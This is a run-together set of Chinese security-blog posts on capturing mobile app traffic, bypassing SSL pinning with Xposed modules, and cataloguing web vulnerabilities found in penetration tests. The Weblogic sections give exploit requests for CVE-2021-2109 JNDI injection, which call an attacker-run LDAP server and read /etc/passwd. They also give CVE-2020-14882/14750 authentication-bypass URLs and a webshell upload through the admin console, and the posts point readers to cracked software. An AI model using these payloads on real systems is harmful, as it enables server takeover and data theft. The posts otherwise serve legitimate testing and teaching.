目前市场上大多数的 APP 都针对客户端做代理检测,最典型的场景就是无法通过 WiFi 代理抓取 APP 数据包,但很少会对 APP 经过 VPN 的流量做检测,因此可以通过在 Android 等设备上启动一个 VPN 服务,让 APP 的所有流量都先经过 VPN 服务,再抓取 APP 的网络数据包。在前面的文章介绍了使用 HttpCanary 进行 VPN 代理抓包,但只能在 HttpCanary 软件上做操作,分析抓包等操作比较繁琐,而通过 Postern 工具可以将经过 VPN 的 APP 流量进一步转发给 BurpSuite 等抓包分析工具更方便做 APP 测试。
Postern 是一个基于 VPN 的 Android 全局代理工具,并且可将 VPN 流量进行二次转发。支持的代理协议有:SSH,Shadowsocks,SOCKS5,HTTPS/HTTP CONNECT,gfw.press。
百度云备用下载,直接安装 APK 到 Android 设备上即可。
puer
前提条件:
注:如果对上述步骤不太了解的,可以参考文章 《BurpSuite 抓取手机 HTTPS 数据包》
先在电脑上运行 BurpSuite 工具,设置监听地址为同一局域网的本地 IP 及端口号。
Android 设备安装好 Postern 工具后,打开 Postern 主界面,添加代理服务器,设置服务器地址和端口号与 BurpSuite 的监听地址一致,选择 HTTPS/HTTP 代理类型,点击保存。
打开左上角的菜单,选择配置规则,添加规则。
选择匹配所有地址,通过代理链接,选择刚添加的 BurpSuite 代理组,勾选抓包,之后保存,开启 VPN 抓包即可。
上述步骤全部执行完成后,将 Postern 工具挂后台运行,手机状态栏可以看到 VPN 的图标,表示启动成功,然后打开要抓包测试的 APP 尝试刷新功能页面。
最后,在电脑的 BurpSuite 上可以接收到 Android 设备上 Postern 工具 VPN 服务流量转发的 APP 数据包。
]]>前面介绍了通过《VirtualXposed 绕过 SSL 证书抓包》,这个方法有些局限性,比如不能在电脑上的《夜神模拟器》、《雷电模拟器》运行,需要一部测试手机等因素,对于部分人来说可能不太方便,还是更喜欢都在电脑上完成这系列操作,可以尝试用 LSPosed 绕过 SSL 证书抓包。
LSPosed 是一个基于 Riru/Zygisk 的 ART Hook 框架,该框架利用 LSPlant 挂钩框架提供与 OG Xposed 一致的 API, 支持 Android 8.1 ~ 13。
Xposed 是一个模块框架,可以在不接触任何 APK 的情况下改变系统和应用程序的行为。利用 Xposed 的 TrustMeAlready 模块插件,可以防止软件检测抓包,绕过大部分 ssl-pinning,保证 APP 抓包的可续性能。
特别提示:在安装之前需要注意以下几点:
另外,为了方便下载使用,文章里所使用到的安装包都放在百度云上了。
w05p
注意:如果用雷电模拟器请使用 9.0.19 或之前的版本,避免不必要的问题发生。
以夜神模拟器为例,添加并运行一个 Android 9 的虚拟机。
在模拟器设置里将虚拟机设置为网络桥接模式、开启 ROOT(默认开启),设置好后重启虚拟机。
在夜神模拟器虚拟机里安装 Magisk.apk
、Magisk Terminal Emulato.apk
、app-debug.apk
(安装成功不显示在主界面)、LSPosed-manager.apk
。
打开 Magisk Terminal Emulator.apk
,按照如下步骤操作:输入 m 按回车 > 再输入 y 按回车 > 超级用户授权允许 > 再输入 1 按回车 > 输入 a 按回车 > 再输入 1 按回车 > 完毕。
上述步骤完成后,重启模拟器,打开 Magisk.apk
可以发现 Magisk 安装成功。
打开 Magisk.apk
> 点击右上角齿轮按钮 > 界面往下滑动,找到 Zygisk 选项打开并重启模拟器虚拟机。
接着将 LSPosed-v1.8.6-6712-zygisk-release.zip
复制到模拟器文件夹里面。打开 Magisk.apk
> 底部模块选项 > 从本地安装 > 选择模拟器文件夹内的 LSPosed-v1.8.6-6712-zygisk-release.zip
卡刷包。
重启模拟器虚拟机后,打开 LSPosed-manager.apk
,可以发现 LSPosed 安装成功了。
然后在夜神模拟器虚拟机里安装 TrustMeAlready-v1.11.apk
,安装这个 apk 主界面图标可能会卡在安装的动画,不必在意,忽略即可。
接着打开 LSPosed-manager.apk
的底部模块选项,点击 TrustMeAlready,启动模块,选择要测试的 APP。
使用 BurpSuite 工具开启代理抓包,设置监听地址为同一局域网 IP 地址,端口自定义,不与电脑其他端口冲突使用即可。
在夜神模拟器手机系统设置中将 WiFi 的代理设置为 BurpSuite 监听器的地址。
最后,打开要测试的 APP,刷新功能页面,在 BurpSuite 中即可看到抓取的 HTTP/HTTPS 网络数据包。
由于原来的 Xposed 更换了域名,网上很多 Xposed 安装包还是用的旧域名地址,导致现在再安装 Xposed 时总是提示下载失败,当然也有相应的解决方法,不过也挺麻烦的,不烦尝试下 VirtualXposed 替代 Xposed 抓取 APP 数据包,更加简单快捷。
VirtualXposed 是基于 VirtualApp 和 epic 在非 ROOT 环境下运行 Xposed 模块的实现(支持5.0~10.0)。与 Xposed 相比,目前 VirtualXposed 有两个限制:
JustTrustMe 是禁用 SSL 证书检查的 Xposed 模块,用于绕过 APP 的 SSL 证书限制从而抓取 HTTP/HTTPS 数据包,安装此模块需要手机设备已 ROOT,并且必须安装 Xposed 框架。
注意:上述工具 VirtualXposed 安装不需要 ROOT 环境,但是 JustTrustMe 安装又需要 ROOT 环境,这就产生了冲突。如果大家没有专门用来测试的手机,想用自己平时用的手机进行测试,可以在手机上安装一款叫《光速虚拟机》 的软件,利用《光速虚拟机》软件模拟一个安卓虚拟环境,这个安卓虚拟机环境可以开启 ROOT,再将 VirtualXposed 软件安装在这个安卓虚拟机里即可。这个《光速虚拟机》就和电脑上的《夜神模拟器》、《雷电模拟器》类似,至于为什么不直接用电脑上的这两个模拟器,主要是因为 VirtualXposed 在这些模拟器上不能正常使用,经测试在《光速虚拟机》上可以正常使用。《光速虚拟机》官网地址:https://www.gsxnj.cn/
首先下载 VirtualXposed、 JustTrustMe 模块安装包 APK 安装到手机。
v0cb
注意:所有的工作(安装 Xposed 模块,安装 APP )必须在 VirtualXposed 中进行,否则 Xposed 模块不会有任何作用!比如要测试《爱奇艺 APP》,将直接《爱奇艺 APP》安装在系统上(而非 VirtualXposed 中),JustTrustMe 插件安装在 VirtualXposed 中;或者把《爱奇艺 APP》安装在 VirtualXposed 上,JustTrustMe 插件直接安装在系统上;或者两者都直接安装在系统上,均不会起任何作用。
在VirtualXposed中安装App有两种方式:
在 VirtualXposed 中安装 Xposed 模块,可以跟安装正常的 APK 一样,以上两种安装 APP 的方式也适用于安装 Xposed 模块。不过,你也可以通过 VirtualXposed 中内置的 XposedInstaller 来安装和管理模块,跟通常的 XposedInstaller 使用方式一样;去下载页面,下载安装即可。
先在手机上安装 VirtualXposed 软件、JustTrustMe模块和要测试的 APP,然后在 VirtualXposed 里面再克隆安装 JustTrustMe 模块和测试 APP。
注意:VirtualXposed 不支持克隆安装 32 位的 APP 应用。
返回 VirtualXposed 主界面,上滑手势动作即可看到安装的测试 APP 和 Xposed。
打开 Xposed 并安装启动 JustTrustMe 模块,然后挂后台运行 Xposed 即可。
接着配合 BurpSuite 抓包工具,开启代理监听。
将手机 WiFi 设置代理为 BurpSuite 监听器地址。
设置到代理后,在 VirtualXposed 里打开要测试的 APP,尝试刷新功能。
在 BurpSuite 里即可看到测试 APP 里抓取的 HTTP/HTTPS 数据包。
]]>本篇文章介绍的是最基础且最通用的 BurpSuite 抓取手机 APP 的 HTTP/HTTPS 数据包的方法,如果一些 APP 设置了证书校验,则无法直接通过此方法抓包,需要通过配合其他工具(例如:Xposed)手段绕过 SSL 证书后才能抓取 HTTPS 数据包。
BurpSuite 作为渗透必备的测试软件,用于攻击 Web 应用程序的集成平台,包含了许多工具。BurpSuite 为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的 HTTP/HTTPS 消息、持久性、认证、代理、日志、警报。
这个软件需要破解使用,网上的破解安装教程很多,贴个详细教程链接一笔带过:
首先需要将要测试的手机或者手机模拟器与安装 BurpSuite 的电脑处于同一个局域网下,以夜神模拟器为例,开启网络桥接模式,之后保存设置重启模拟器即可。
然后在 BurpSuite 开启代理监听器,监听地址为同一局域网 IP 地址,端口自定义,不与电脑其他端口冲突使用即可。
以夜神手机模拟器为例,在模拟手机系统设置中将 WiFi 的代理设置为 BurpSuite 监听器的地址。
模拟器手机里浏览器访问 http://burp 下载 CA 证书。
默认下载的证书格式后缀为 der,模拟器手机无法安装此格式证书,可以进入文件管理器里手动将其文件后缀名改为 cer 即可安装。
之后,进入模拟器手机系统设置-安全-从 SD 卡安装证书-选择安装用途,建议 WLAN、VPN 和应用两种用途均安装一遍,证书名称自定义取不同即可。
最后,访问测试抓取模拟器手机浏览器 HTTPS 数据包即可。
]]>注意:如果首次安装 CA 证书抓不到 HTTPS 数据包,建议切换网络环境或者重启模拟器,再试试重新安装 CA 证书抓包。
在 APP 测试工作过程中,经常会遇到 APP 设置了 SSL 证书校验的情况,导致无法通过 BurpSuite 等软件代理的方式抓取 APP 的 HTTPS 数据包。多数场景下可以通过 HttpCanary 工具 VPN 代理的方法绕过 SSL 证书校验抓取 HTTPS 网络数据包。
HttpCanary 是一款 Android 系统上最强大的网络抓包工具,使用起来非常简单。HttpCanary 可以帮助用户实时监测自己手机的网络,相当于 PC 端的 Fiddler 或者 Charles 的移动版,通过此工具可以抓取 Android 移动端软件的 HTTP/HTTPS 网络数据包。
HttpCanary 安卓抓包神器 V9.9.9 完美破解版
下载安装成功后,打开 HttpCanary 软件,点击开始抓包,首次使用会提示安装 CA 证书,之后选择 CA 证书的用途安装即可。
CA 证书安装成功后,开始抓包会继续提示添加 VPN 设置,点击确定,之后右下角小飞机图标显示绿色表示启动成功。
最后将 HttpCanary 软件挂后台,再打开要测试的目标 APP,刷新功能页面即可抓取数据包。
]]>在 APP 测试工作过程中,经常会遇到 APP 设置了 SSL 证书校验的情况,导致无法通过 BurpSuite 等软件代理的方式抓取 APP 的 HTTPS 数据包。多数场景下可以通过 Stream 工具 VPN 代理的方法绕过 SSL 证书校验抓取 HTTPS 网络数据包。
Stream 是一款 IOS 系统特有的网络抓包工具,该工具可以直接独立运行在 IOS 设备,无需依赖 PC 环境。Stream 面向对象为广大前端开发、客户端开发、后端开发、运维工程师、测试工程师以及具备一定网络分析能力的普通用户,通过此工具可以抓取 IOS 移动端软件的 HTTP/HTTPS 网络数据包。
在 App Store 应用商店,直接搜索 Stream 名称,即可下载安装。
下载安装成功后,打开 Stream 软件,点击开始抓包,首次使用会提示添加 VPN 设置,点击允许,之后软件会弹出提示输入下手机密码即可。
VPN 设置成功后,Stream 软件会继续提示抓取 HTTPS 请求需要安装 CA 证书,点击安装证书。
之后会自动跳转浏览器点击允许下载证书,然后打开 系统设置-通用-VPN 与设备管理,即可看到下载完成的 CA 证书文件。
点击已下载的 Stream 描述文件,弹出安装界面,点击右上角安装,安装成功后 CA 证书会出现在配置描述文件列表。
CA 证书安装完成后,然后打开 系统设置-关于本机-证书信任设置,将 Stream 的 CA 证书信任开关打开即可。
全部设置完成后,返回 Stream 应用,会提示设置成功,然后返回 Stream 主界面,点击开始抓包即可。
之后,打开要测试的 APP 软件,以爱奇艺 APP 为例,打开应用程序随便刷新几个页面,然后返回 Stream 查看抓包历史,即可看到爱奇艺 APP 的 HTTP/HTTPS 网络数据包。
在抓包历史记录中,点击选中一条数据,即可查看完整的请求数据包和响应数据包内容。
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- 密码字段通过 GET 方法传输 -
密码字段通过 GET 方法传输是不安全的,因为在传输过程,用户凭据以明文等形式被放在请求的 URL 中。大多数 Web 服务器将记录所有请求的参数和 URL ,因此当凭据属于 URL 的一部分时,它们将显示在 Web 服务器日志中,这样就可能会有一些隐私信息被第三方查看获取。另外,攻击者也可以通过中间人攻击等手段,截获到 GET 请求 URL 中到用户凭据,增加了敏感信息泄露的风险。而 POST 请求方式通过“请求体”传递数据,参数内容不会在 URL 中显示,相较于 GET 请求方式会更加安全。
威胁级别 | 高危 | 中危 | 低危 |
输入任意账号密码尝试登录,并使用 Burpsuite 工具抓取网站数据包。
系统使用不安全的 GET 方法提交用户登录凭据,存在一定安全风险隐患。
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- 暴力破解漏洞 -
暴力破解的产生是由于服务器端没有做合理的限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解的关键在于字典的大小,暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999。该漏洞常存在于应用系统的登录模块中,攻击者可以通过事先准备的字典或者社工生成的字典,对特定目标口令进行大量登录尝试,直至暴力破解成功。
威胁级别 | 高危 | 中危 | 低危 |
输入存在的账号以及任意密码进行登录尝试,并使用 BurpSuite 工具抓取数据包。
由于系统没有对用户登录操作做任何限制(例如:验证码机制),因此可利用 BurpSuite 工具的 Intruder 爆破模块,导入事先准备好的密码字典,对特定用户进行批量登录尝试,直至密码猜解成功。
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- 用户名枚举漏洞 -
在应用系统登录的过程中,当输入错误的用户名信息时,应用程序将反馈相应的诸如“用户不存在”的错误提示,攻击者可通过该提示为依据对用户名进行枚举,猜解出已存在于应用系统的用户名信息,最终攻击者再对已有用户的密码进一步猜解,从而降低暴力破解的成本。
威胁级别 | 高危 | 中危 | 低危 |
输入任意账号密码尝试登录。
当输入不存在的用户名时,系统提示“登录失败,不存在用户名!”。
当输入存在的用户名时,系统提示“登录失败,密码错误!”。
综上,根据返回信息的不同可不断枚举出系统存在的用户名信息。
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- HTTP Strict-Transport-Security 缺失 -
Web 服务器对于 HTTP 请求的响应头缺少 Strict-Transport-Security,这将导致浏览器提供的安全特性失效,更容易遭受 Web 前端黑客攻击的影响。HTTP Strict Transport Security(通常简称为 HSTS)是一个安全功能,它告诉浏览器只能通过 HTTPS 访问当前资源,而不是 HTTP。当 Web 服务器的 HTTP 头中包含 Strict-Transport-Security 时,浏览器将持续使用 HTTPS 来访问 Web 站点,可以用来对抗协议降级攻击和 Cookie 劫持攻击。
Strict-Transport-Security 可选配置的值如下:
strict-transport-security: max-age=<expire-time>strict-transport-security: max-age=<expire-time>; includeSubDomainsstrict-transport-security: max-age=<expire-time>; includeSubDomains; preload
示例:
strict-transport-security: max-age=31536000; includeSubDomains; preload
释义:
max-age=31536000
设置在浏览器收到这个请求后的 31536000 秒(等价于 1 年)的时间内,凡是访问这个域名下的请求都使用 HTTPS 请求。includeSubDomains
可选,如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。preload
可选,加入预加载列表。威胁级别 | 高危 | 中危 | 低危 |
可使用验证工具列举如下:
"http://www.luckysec.cn/"
检测目标网站 HTTP 响应头 Strict-Transport-Security 缺失。
max-age=31536000; includeSubDomains; preload
的 Strict-Transport-Security 响应头。持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- HTTP X-Content-Type-Options 缺失 -
Web 服务器对于 HTTP 请求的响应头缺少 X-Content-Type-Options,这意味着此网站更易遭受跨站脚本攻击(XSS)。X-Content-Type-Options 响应头相当于一个提示标志,被服务器用来提示客户端一定要遵循在 Content-Type 首部中对 MIME 类型 的设定,而不能对其进行修改,这就禁用了客户端的 MIME 类型嗅探行为。浏览器通常会根据响应头 Content-Type 字段来分辨资源类型,有些资源的 Content-Type 是错的或者未定义,这时浏览器会启用 MIME-sniffing 来猜测该资源的类型并解析执行内容。利用这个特性,攻击者可以让原本应该解析为图片的请求被解析为 JavaScript 代码。
X-Content-Type-Options 可选配置的值如下:
X-Content-Type-Options: nosniff
nosniff 只应用于以下两种情况的请求将被阻止:
style
但是 MIME 类型不是 text/css。script
但是 MIME 类型不是 JavaScript MIME 类型。威胁级别 | 高危 | 中危 | 低危 |
可使用验证工具列举如下:
"http://www.luckysec.cn/"
检测目标网站 HTTP 响应头 X-Content-Type-Options 缺失。
nosniff
的 X-Content-Type-Options 响应头。持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- HTTP X-XSS-Protection 缺失 -
Web 服务器对于 HTTP 请求的响应头缺少 X-XSS-Protection,这意味着此网站更易遭受跨站脚本攻击(XSS)。X-XSS-Protection 响应头是 Internet Explorer、Chrome 和 Safari 的一个特性,当检测到跨站脚本攻击(XSS)时,浏览器将停止加载页面。
X-Frame-Options 可选配置的值如下:
X-XSS-Protection: 0X-XSS-Protection: 1X-XSS-Protection: 1; mode=blockX-XSS-Protection: 1; report=<reporting-uri>
0
:禁止 XSS 过滤。1
:启用 XSS 过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。1; mode=block
:启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。1; report=<reporting-uri>
(Chromium only):启用 XSS 过滤。如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri 指令的功能发送违规报告。威胁级别 | 高危 | 中危 | 低危 |
可使用验证工具列举如下:
"http://www.luckysec.cn/"
检测目标网站 HTTP 响应头 X-XSS-Protection 缺失。
1; mode=block
的 X-XSS-Protection 响应头。持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- HTTP X-Frame-Options 缺失 -
Web 服务器对于 HTTP 请求的响应头缺少 X-Frame-Options,这意味着此网站存在遭受点击劫持攻击的风险。X-Frame-Options 响应头可被用于指示允许一个页面可否在 frame、iframe、embed 或者 object 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免点击劫持攻击。
X-Frame-Options 可选配置的值如下:
X-Frame-Options: DENYX-Frame-Options: SAMEORIGIN
如果设置为 DENY
,表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许;另一方面,如果设置为 SAMEORIGIN
,则表示该页面可以在相同域名页面的 frame 中嵌套。
威胁级别 | 高危 | 中危 | 低危 |
可使用验证工具列举如下:
"http://www.luckysec.cn/"
检测目标网站 HTTP 响应头 X-Frame-Options 缺失。
SAMEORIGIN
的 X-Frame-Options 响应头。持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- 会话 Cookie 未设置 HttpOnly 属性 -
Web 应用程序设置了不含 HttpOnly 属性的会话 Cookie,因此注入站点的恶意脚本可能访问并窃取 Cookie 值。任何存储在会话令牌中的信息都可能会被窃取,它们可能被用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务。JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的 Cookie,此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 操作,而应具有 HttpOnly 属性。会话 Cookie 设置 HttpOnly 属性,此预防措施有助于缓解跨站点脚本(XSS)攻击。
威胁级别 | 高危 | 中危 | 低危 |
浏览器 F12 打开控制台,查看存储会话 Cookie 未设置 HttpOnly 属性。
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- 会话 Cookie 未设置 Secure 属性 -
Web 应用程序设置了不含 Secure 属性的会话 Cookie,这意味着 Cookie 信息在传递的过程中容易被监听捕获造成信息泄露。标记为 Secure 的 Cookie 只会通过被 HTTPS 协议加密过的请求发送给服务端进行会话验证,它永远不会使用不安全的 HTTP 发送传输(本地主机除外),这意味着中间人攻击者无法轻松访问它。此外,在不安全的站点(在 URL 中带有 http://
)无法使用 Secure 属性设置的 Cookie 值。
威胁级别 | 高危 | 中危 | 低危 |
浏览器 F12 打开控制台,查看存储会话 Cookie 未设置 Secure 属性。
由于之前网站很长一段时间使用旧域名(luckyzmj.cn),导致百度等搜索引擎SEO收录都是旧域名的URL地址。如今网站迁移到新域名(luckysec.cn),需要将之前各搜索引擎中收录旧域名的所有URL地址自动引流跳转到新域名中。
按照视频教程获取免费的虚拟主机,选择香港或者国外的虚拟主机可以免去繁琐的备案流程。
登录虚拟主机控制台,选择基本功能-绑定域名-添加旧域名。
在旧域名控制台中添加域名解析到虚拟主机提供的IP地址。
在主机控制台,选择基本功能-域名跳转-设置旧域名跳转新域名,提交保存。
等几分钟生效以后,在搜索引擎中点击收录的旧域名URL地址,即可自动跳转到新域名对应的URL地址。
]]>持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- Weblogic Console弱口令后台getShell -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Weblogic Console控制台由于管理员配置疏忽没有更改默认密码,或者存在账号弱口令漏洞,攻击者可在获取到账号密码的前提下登录管理后台,通过控制台“部署”功能模块部署恶意war包,进而getShell获取服务器管理权限。
威胁级别 | 高危 | 中危 | 低危 |
访问Weblogic Console控制台地址,尝试Weblogic弱口令登录后台。
也可以使用web-brutator工具爆破账号密码。
注意:Weblogic多次登录失败有账号锁定策略,即使爆破成功后输入正确账号密码也可能会提示“验证被拒绝”,需要等待半小时自动解锁,之后再尝试登录即可。
打开【部署】-【安装】页面。
准备上传webshell文件,以冰蝎的webshll为例,先将shell.jsp压缩成shell.zip压缩包,然后将shell.zip文件后缀更改为shell.war
上传刚制作好的shell.war文件。
一直点击【下一步】-【完成】-【保存】。
使用冰蝎工具远程连接webshell成功。
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- Weblogic JNDI远程代码执行漏洞(CVE-2021-2109) -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。在Oracle官方发布的2021年1月关键补丁公告中,发布了针对WebLogic Server的严重漏洞(CVE-2021-2109),该漏洞是存在于WebLogic Console控制台中的一个远程代码执行漏洞,经过身份验证的攻击者可以直接通过JNDI远程执行代码注入,未经授权的攻击者可以配合CVE-2020-14882或者CVE-2020-14750权限绕过漏洞执行任意代码。
影响版本:
威胁级别 | 高危 | 中危 | 低危 |
在VPS服务器设置对外开放1389和8080端口,使用JNDIExploit工具启动LDAP服务,并绑定VPS的公网IP地址:
D:\JNDIExploit.v1.2>java -jar JNDIExploit.jar -i xxx.xxx.xxx.xxx(VPS公网IP)[+] LDAP Server Start Listening on 1389...[+] HTTP Server Start Listening on 8080...
正常利用管理员帐号登录Weblogic Console控制台的情况下,通过BurpSuite抓取登录后带Cookie数据包进行JNDI注入:
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: www.luckysec.cn:7001Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closecmd: cat /etc/passwdCookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979Upgrade-Insecure-Requests: 1
没有登录Weblogic Console控制台的情况下,配合CVE-2020-14882权限绕过漏洞进行JNDI注入:
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: www.luckysec.cn:7001Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closecmd: cat /etc/passwdCookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979Upgrade-Insecure-Requests: 1
没有登录Weblogic Console控制台的情况下,配合CVE-2020-14750权限绕过漏洞进行JNDI注入:
GET /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: www.luckysec.cn:7001Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closecmd: cat /etc/passwdCookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979Upgrade-Insecure-Requests: 1
注意:ldap://xxx.xxx.xxx;xxx:1389/的地址IP的第三个分隔符是;号。
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- Weblogic Console权限认证绕过漏洞(CVE-2020-14750) -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Oracle官方在2020年10月发布了关键补丁更新公告,其中包括一个CVE-2020-14750为 Weblogic Console权限认证绕过的漏洞CVE-2020-14882补丁的绕过漏洞,CVSS 评分 9.8 分。CVE-2020-14882 补丁被绕过后,攻击者就可以再度绕过Console控制台的权限校验,访问原本需要登录才可以访问的资源和接口功能。尽管 CVE-2020-14883 这个后台的任意代码执行漏洞已被修复,但攻击者依然可以通过寻找利用其他合适的后台接口漏洞,实现远程代码执行,从而获取服务器权限。
影响版本:
威胁级别 | 高危 | 中危 | 低危 |
使用WeblogicScaner工具检测目标网站存在CVE-2020-14750漏洞。
构造特殊URL地址绕过Weblogic Console控制台权限进行访问:
http://www.luckysec.cn:7001/console/css/%25%32%65%25%32%65%25%32%66/console.portal
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- Weblogic T3协议远程代码执行漏洞(CVE-2020-2883) -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。在Oracle官方发布的2020年4月关键补丁公告中,发布了针对WebLogic Server的严重漏洞(CVE-2020-2883、CVE-2020-2884),允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的Weblogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而导致远程代码被执行。
影响版本:
威胁级别 | 高危 | 中危 | 低危 |
使用WeblogicScaner工具检测目标网站存在CVE-2020-2883漏洞。
使用WeblogicExploit-GUI工具远程执行命令验证漏洞。